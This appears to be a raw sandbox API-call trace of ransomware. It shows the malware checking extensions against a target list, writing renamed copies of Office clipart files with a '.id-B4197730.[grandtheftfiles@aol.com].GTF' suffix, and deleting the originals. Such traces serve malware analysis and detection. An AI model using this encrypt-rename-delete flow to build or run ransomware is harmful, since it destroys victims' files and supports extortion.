	[0089.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0089.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0089.804] lstrlenW (lpString=".doc") returned 4
	[0089.804] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.804] lstrlenW (lpString=".docx") returned 5
	[0089.804] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.804] lstrlenW (lpString=".pdf") returned 4
	[0089.804] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.804] lstrlenW (lpString=".xls") returned 4
	[0089.804] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.804] lstrlenW (lpString=".xlsx") returned 5
	[0089.804] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.804] lstrlenW (lpString=".ppt") returned 4
	[0089.804] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0089.805] lstrlenW (lpString=".zip") returned 4
	[0089.805] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.805] lstrlenW (lpString=".rar") returned 4
	[0089.805] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.805] lstrlenW (lpString=".bz2") returned 4
	[0089.805] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.805] lstrlenW (lpString=".7z") returned 3
	[0089.805] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0089.805] lstrlenW (lpString=".dbf") returned 4
	[0089.805] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0089.805] lstrlenW (lpString=".1cd") returned 4
	[0089.805] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0089.805] lstrlenW (lpString=".jpg") returned 4
	[0089.805] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.805] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.805] lstrlenW (lpString="IN00351_.WMF") returned 12
	[0089.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0089.806] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=1928) returned 1
	[0089.806] CloseHandle (hObject=0x37c) returned 1
	[0089.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 0x220
	[0089.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0089.806] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.806] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0089.806] GetLastError () returned 0x0
	[0089.806] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x788, lpOverlapped=0x0) returned 1
	[0089.809] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x790, lpOverlapped=0x0) returned 1
	[0089.810] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.810] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.810] SetEndOfFile (hFile=0x378) returned 1
	[0089.811] CloseHandle (hObject=0x378) returned 1
	[0089.811] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.811] SetEndOfFile (hFile=0x37c) returned 1
	[0089.812] CloseHandle (hObject=0x37c) returned 1
	[0089.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.812] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 1
	[0089.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0089.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0089.812] lstrlenW (lpString=".doc") returned 4
	[0089.812] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.812] lstrlenW (lpString=".docx") returned 5
	[0089.812] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.812] lstrlenW (lpString=".pdf") returned 4
	[0089.812] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.812] lstrlenW (lpString=".xls") returned 4
	[0089.812] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.812] lstrlenW (lpString=".xlsx") returned 5
	[0089.812] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.812] lstrlenW (lpString=".ppt") returned 4
	[0089.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0089.812] lstrlenW (lpString=".zip") returned 4
	[0089.813] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.813] lstrlenW (lpString=".rar") returned 4
	[0089.813] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.813] lstrlenW (lpString=".bz2") returned 4
	[0089.813] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.813] lstrlenW (lpString=".7z") returned 3
	[0089.813] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0089.813] lstrlenW (lpString=".dbf") returned 4
	[0089.813] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0089.813] lstrlenW (lpString=".1cd") returned 4
	[0089.813] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0089.813] lstrlenW (lpString=".jpg") returned 4
	[0089.813] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0089.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0089.813] lstrlenW (lpString=".doc") returned 4
	[0089.813] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.813] lstrlenW (lpString=".docx") returned 5
	[0089.813] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.813] lstrlenW (lpString=".pdf") returned 4
	[0089.813] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.813] lstrlenW (lpString=".xls") returned 4
	[0089.813] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.813] lstrlenW (lpString=".xlsx") returned 5
	[0089.813] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.813] lstrlenW (lpString=".ppt") returned 4
	[0089.813] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0089.813] lstrlenW (lpString=".zip") returned 4
	[0089.813] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.813] lstrlenW (lpString=".rar") returned 4
	[0089.814] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.814] lstrlenW (lpString=".bz2") returned 4
	[0089.814] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.814] lstrlenW (lpString=".7z") returned 3
	[0089.814] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0089.814] lstrlenW (lpString=".dbf") returned 4
	[0089.814] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0089.814] lstrlenW (lpString=".1cd") returned 4
	[0089.814] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0089.814] lstrlenW (lpString=".jpg") returned 4
	[0089.814] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.814] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.814] lstrlenW (lpString="IN00557_.WMF") returned 12
	[0089.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0089.814] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=9172) returned 1
	[0089.814] CloseHandle (hObject=0x37c) returned 1
	[0089.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 0x220
	[0089.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0089.815] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.815] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0089.815] GetLastError () returned 0x0
	[0089.815] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x23d4, lpOverlapped=0x0) returned 1
	[0089.817] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x23e0, lpOverlapped=0x0) returned 1
	[0089.818] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.818] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.818] SetEndOfFile (hFile=0x378) returned 1
	[0089.819] CloseHandle (hObject=0x378) returned 1
	[0089.819] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.819] SetEndOfFile (hFile=0x37c) returned 1
	[0089.820] CloseHandle (hObject=0x37c) returned 1
	[0089.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 1
	[0089.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0089.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0089.820] lstrlenW (lpString=".doc") returned 4
	[0089.820] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.820] lstrlenW (lpString=".docx") returned 5
	[0089.820] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.820] lstrlenW (lpString=".pdf") returned 4
	[0089.820] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.820] lstrlenW (lpString=".xls") returned 4
	[0089.821] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.821] lstrlenW (lpString=".xlsx") returned 5
	[0089.821] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.821] lstrlenW (lpString=".ppt") returned 4
	[0089.821] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0089.821] lstrlenW (lpString=".zip") returned 4
	[0089.821] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.821] lstrlenW (lpString=".rar") returned 4
	[0089.821] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.821] lstrlenW (lpString=".bz2") returned 4
	[0089.821] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.821] lstrlenW (lpString=".7z") returned 3
	[0089.821] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0089.821] lstrlenW (lpString=".dbf") returned 4
	[0089.821] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0089.821] lstrlenW (lpString=".1cd") returned 4
	[0089.821] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0089.821] lstrlenW (lpString=".jpg") returned 4
	[0089.821] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0089.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0089.821] lstrlenW (lpString=".doc") returned 4
	[0089.821] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.821] lstrlenW (lpString=".docx") returned 5
	[0089.821] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.821] lstrlenW (lpString=".pdf") returned 4
	[0089.821] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.821] lstrlenW (lpString=".xls") returned 4
	[0089.822] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.822] lstrlenW (lpString=".xlsx") returned 5
	[0089.822] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.822] lstrlenW (lpString=".ppt") returned 4
	[0089.822] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0089.822] lstrlenW (lpString=".zip") returned 4
	[0089.822] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.822] lstrlenW (lpString=".rar") returned 4
	[0089.822] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.822] lstrlenW (lpString=".bz2") returned 4
	[0089.822] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.822] lstrlenW (lpString=".7z") returned 3
	[0089.822] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0089.822] lstrlenW (lpString=".dbf") returned 4
	[0089.822] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0089.822] lstrlenW (lpString=".1cd") returned 4
	[0089.822] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68
	[0089.822] lstrlenW (lpString=".jpg") returned 4
	[0089.822] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.822] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.822] lstrlenW (lpString="IN00915_.WMF") returned 12
	[0089.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0089.823] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=12748) returned 1
	[0089.823] CloseHandle (hObject=0x37c) returned 1
	[0089.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 0x220
	[0089.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0089.824] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.824] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0089.824] GetLastError () returned 0x0
	[0089.824] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x31cc, lpOverlapped=0x0) returned 1
	[0089.826] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x31d0, lpOverlapped=0x0) returned 1
	[0089.828] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.828] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.828] SetEndOfFile (hFile=0x378) returned 1
	[0089.830] CloseHandle (hObject=0x378) returned 1
	[0089.830] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.830] SetEndOfFile (hFile=0x37c) returned 1
	[0089.831] CloseHandle (hObject=0x37c) returned 1
	[0089.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.831] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 1
	[0089.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0089.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0089.831] lstrlenW (lpString=".doc") returned 4
	[0089.831] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.831] lstrlenW (lpString=".docx") returned 5
	[0089.831] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.831] lstrlenW (lpString=".pdf") returned 4
	[0089.831] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.831] lstrlenW (lpString=".xls") returned 4
	[0089.831] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.832] lstrlenW (lpString=".xlsx") returned 5
	[0089.832] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.832] lstrlenW (lpString=".ppt") returned 4
	[0089.832] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0089.832] lstrlenW (lpString=".zip") returned 4
	[0089.832] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.832] lstrlenW (lpString=".rar") returned 4
	[0089.832] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.832] lstrlenW (lpString=".bz2") returned 4
	[0089.832] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.832] lstrlenW (lpString=".7z") returned 3
	[0089.832] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0089.832] lstrlenW (lpString=".dbf") returned 4
	[0089.832] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0089.832] lstrlenW (lpString=".1cd") returned 4
	[0089.832] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
